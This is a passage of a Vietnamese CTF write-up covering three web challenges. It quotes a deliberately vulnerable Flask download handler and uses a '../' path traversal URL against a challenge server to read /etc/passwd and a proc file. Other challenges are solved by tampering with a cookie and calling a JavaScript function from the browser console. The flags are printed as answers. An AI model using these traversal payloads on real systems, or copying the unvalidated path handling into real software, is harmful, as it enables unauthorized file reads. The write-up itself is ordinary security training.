#I2jhurkgaOG6uSBjw7MgZ8OsIMSRw7MgdHJvbmcgL2V0Yy9wYXNzd2Q= return redirect(url_for('index')) @app.route('/download', methods=['POST']) @app.route('/download') def download_file(): #IyBEb3dubG9hZCBmaWxlIHRoZW8gcXVlcnkgc3RyaW5nID9uYW1lPS4uLg== filename = request.args.get('name') if not filename: flash('File không tồn tại!') return redirect(url_for('index')) #IyBjaMOtbSBjaOG7pyB0aOG7rSBmaWxlIGNo4bqldCB2w6AgL2ZpbGUgdGjGsCB0aOG7rSB0w6puIGRvd25sb2FkIGZyb20gdHJhbmcgdHLDqm5nIHVwbG9hZA== if filename.startswith('/'): #xJDGsOG7nW5nIGThuqtuIHR1eeG7h3QgxJHhu5FpLCBjaG8gcGjDqXAgdOG6o2kgZmlsZSBo4buHIHRo4buRbmc= full_path = filename if os.path.isfile(full_path): from flask import send_file return send_file(full_path, as_attachment=True) else: flash('File không tồn tại!') return redirect(url_for('index')) else: full_path = os.path.join(UPLOAD_FOLDER, filename) if os.path.isfile(full_path): return send_from_directory(UPLOAD_FOLDER, filename, as_attachment=True) else: flash('File không tồn tại!') return redirect(url_for('index')) def auto_delete_files(): #IyBUaeG6v24gdHLDrG5oIG7hu4FuIHThu7EgxJHhu5luZyB4w7NhIGZpbGUgcXXDoSAxNSBwaMO6dA== while True: now = int(time.time()) for fname in os.listdir(UPLOAD_FOLDER): try: if fname == 'flag.txt': continue #IyBM4bqleSB0aW1lc3RhbXAgdOG7qyB0w6puIGZpbGUgZDFzYzB2M3J5fQ== ts_str = fname.split('_', 1)[0] ts = int(ts_str) #IyBO4bq/dSBmaWxlIMSRw6MgcXXDoSAxNSBwaMO6dCB0aMOsIHjDs2E= if now - ts > 900: #IyA5MDBzID0gMTUgcGjDunQ= os.remove(os.path.join(UPLOAD_FOLDER, fname)) except Exception: continue #IyBLaeG7g20gdHJhIG3hu5dpIDYwIGdpw6J5 time.sleep(60) if __name__ == '__main__': #IyBLaOG7n2kgxJHhu5luZyB0aHJlYWQgeMOzYSBmaWxlIHThu7EgxJHhu5luZyB2w6AgY2jhuqF5IEZsYXNrIGFwcA== threading.Thread(target=auto_delete_files, daemon=True).start() app.run(debug=False, host='0.0.0.0', port=5000) ``` Thấy có mấy đoạn `base64` nhma lười copy từng cái nên mình nhờ ChatGPT ![image](https://hackmd.io/_uploads/BkwnaU5nxl.png) Mình thấy có 2 thứ quan trọng là 10 và 15 Ở 10, mình thử download ở http://103.249.117.57:5000/download?name=/app/file/../../../../etc/passwd (Mình ghép với dữ liệu 9 thì mặc định download sẽ là /app/file/ còn .. thứ nhất để move ra folder app, .. thứ 2 để move ra ngoài code, .. thứ 3 để move ra ngoài phần home hay root gì đó, .. thứ 4 để move ra ngoài hẳn) thì được file `passwd`, mình mở bằng notepad có ```txt= root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin dMOsbSBnw6wgxJHhuqV5LCBjw6FpIG7DoHkgw6AgIm1pbmlDVEZ7VGgzX0g0cHB5XyIgbuG6v3UgbXXhu5FuIHRow6ptIHRow6wgeGVtIHRow7RuZyB0aW4gY3B1IHRo4butIHhlbSAoZ+G7o2kgw70gL3Byb2MxKQ==:x:1001:1001::/home/test:/bin/sh ``` Ta có base64 là `dMOsbSBnw6wgxJHhuqV5LCBjw6FpIG7DoHkgw6AgIm1pbmlDVEZ7VGgzX0g0cHB5XyIgbuG6v3UgbXXhu5FuIHRow6ptIHRow6wgeGVtIHRow7RuZyB0aW4gY3B1IHRo4butIHhlbSAoZ+G7o2kgw70gL3Byb2MxKQ==` Decode ra được `tìm gì đấy, cái này à "miniCTF{Th3_H4ppy_" nếu muốn thêm thì xem thông tin cpu thử xem (gợi ý /proc1)` Tiếp theo mình thử đọc cpuinfo ở http://103.249.117.57:5000/download?name=/app/file/../../../../proc1/cpuinfo Thì có base64: `cDR0aF8wZl8=` decode ra được `p4th_0f_` Ghép 3 part `miniCTF{Th3_H4ppy_`, `p4th_0f_`, `d1sc0v3ry}` ta được Flag: `miniCTF{Th3_H4ppy_p4th_0f_d1sc0v3ry}` ## The Queen's Secret Bài này mình thuần đoán luôn :+1: Truy cập vào site mình thấy có `queen=false` ở cookie ![image](https://hackmd.io/_uploads/ryCFMz5hel.png) Nên mình sửa lại thành `queen=true` Do mình làm bài Flappy Bird trước nên thấy flag để ở `get_flag.php` nên mình thử `get_flag.php` ở chall hiện tại nên mình truy cập http://103.249.117.57:6636/get_flag.php Ai ngờ nó ra flag luôn ehe ```jsonld= {"flag":"miniCTF{4l1c3_1n_W0nd3rl4nd}"} ``` Flag: `miniCTF{4l1c3_1n_W0nd3rl4nd}` ## Flappy Bird Nhận thấy có hàm `returntof()` như sau: ```javascript= function returntof() { fetch('get_flag.php') .then(response => { if (!response.ok) { throw new Error('Network response was not ok'); } return response.text(); }) .then(flag => { document.getElementById('flagContainer').innerHTML = `<p><strong>${flag}</strong></p>`; console.log("🎉 FLAG RETRIEVED FROM SERVER: " + flag); }) .catch(error => { console.error('Error retrieving flag:', error); document.getElementById('flagContainer').innerHTML = '<p style="color: #ff4444;">Error retrieving flag. Make sure get_flag.php is on the server.</p>'; }); } ``` Nên mình đánh liều gọi thử ở console ![image](https://hackmd.io/_uploads/SkHwefq2gx.png) Flag: `miniCTF{d0wn_th3_r4bb1t_h0l3_w3_g0}` ``` .________________________________ ___________ _______ ____ __.___ | \__ ___/\____ /\______ \ \_ _____/ \ \ | |/ _| | | | | | / / | | \ | __)_ / | \| < | | | | | | / /_ | ` \| \/ | \ | \| | |___| |____| /_______ \/_______ /_______ /\____|__ /____|__ \___| \/ \/ \/ \/ \/ ```